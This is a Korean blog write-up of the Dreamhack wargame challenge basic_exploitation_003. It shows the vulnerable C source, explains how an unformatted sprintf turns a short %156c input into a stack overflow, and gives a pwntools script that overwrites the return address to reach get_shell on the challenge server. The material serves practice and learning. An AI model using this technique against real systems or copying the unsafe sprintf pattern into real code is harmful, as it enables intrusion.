2021. 8. 4. 00:01ㆍDreamhack Wargame



#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
크기 0x80의 힙 버퍼 heap_buf를 선언합니다.
그리고 크기 0x90의 char형 배열 stack_buf를 선언합니다.
그 후에 initialize()를 호출합니다.
이번 문제 역시 initialize(), get_shell(), alarm_handler() 함수들은 한 줄로 정리하겠습니다.
initialize() : 30초가 지나면 alarm_handler() 함수에 시그널을 보냅니다.
alarm_handler() : "TIME OUT"이라는 문자열을 출력하고 프로그램을 종료합니다.
get_shell() : 쉘을 따주는 함수입니다.
그다음 read() 함수로 heap_buf를 0x80만큼 입력받고 *sprintf() 함수로 stack_buf에 heap_buf를 집어넣습니다.
* 배열로 이루어진 버퍼에 일련의 서식 문자열을 입력하는 함수 (형식 : sprintf(char buf, format string, argument string))
그런데 여기서 보이는 취약점이 하나 있습니다.
sprintf의 인자를 보면 format string이 빠져있는 걸 볼 수 있습니다.
이 부분에서 FSB 취약점이 발생합니다.
그 후에 printf() 함수로 stack_buf를 문자열 타입으로 출력합니다.
코드 분석은 다 끝났고, FSB 취약점을 이용해서 문제를 풀어야 하는 것도 알겠는데....
get_shell() 함수의 주소를 어떻게 이용해야 문제가 풀릴지는 잘 떠오르지 않았습니다.
sprintf(), printf() 둘 중 하나에 해답이 있을거라 생각하고 조금 구글링을 했습니다.
[ printf, fprintf, sprintf - 하루히즘 ]
printf, fprintf, sprintf는 어떤 차이일까?
C/C++ 에서는 여러가지 출력 방법이 있다. C언어의 printf부터 C++의 cin까지 다양한 함수, 객체와 메소드가 있지만 그 중 서식화된 출력에 유용하게 사용할 수 있었던 여러가지 함수를 소개해 보려
haruhiism.tistory.com
하루히즘님 감사합니다.... 덕분에 아이디어를 떠올렸습니다.
우선 이 코드에는 취약점이 FSB만 존재하는 것이 아니였습니다.
아까 read() 함수를 받을 때 딱 heap_buf의 크기만큼 받아서 BOF 취약점은 터지지 않을 줄 알았습니다.
그러나 BOF는 sprintf() 부분에서 발생하고 있었습니다.
이 코드를 실행할 때, read() 부분에 %9c를 입력하면 이를 9byte가 아닌 '%', '9', 'c'의 3byte로 인식합니다.
그리고 sprintf()로 stack_buf에 복사를 할 때 format string이 없기 때문에 이를 9byte로 인식하게 됩니다.
그러므로 EBP에서 stack_buf의 거리 + sfp만큼 입력을 넣어 BOF를 일으킵니다.
그리고 ret에 get_shell() 함수의 주소를 넣으면 문제가 풀릴 것 같습니다.

from pwn import *
p=remote("host1.dreamhack.games",20962)
e=ELF('./basic_exploitation_003')
getshell=e.symbols['get_shell']
pay="%156c"+p32(getshell) #152 + sfp(4) = 156
p.sendline(pay)
p.interactive()


아이디어 떠올리는 게 헬이였습니다.
"암만 봐도 FSB 문젠데 왜 Reference에 Return Address Overwrite가 써져있지"
이러면서 문제 풀이를 시작하지 말았어야 했습니다......
코드 길이를 보니 좀 허무하지만 그래도 뿌듯하네요.
'Dreamhack Wargame' 카테고리의 다른 글
xss-2 풀이 (0) | 2021.08.17 |
---|---|
proxy-1 풀이 (0) | 2021.08.11 |
basic_heap_overflow 풀이 (0) | 2021.08.03 |
basic_exploitation_002 풀이 (0) | 2021.08.02 |
basic_rop_x64 풀이 (0) | 2021.08.01 |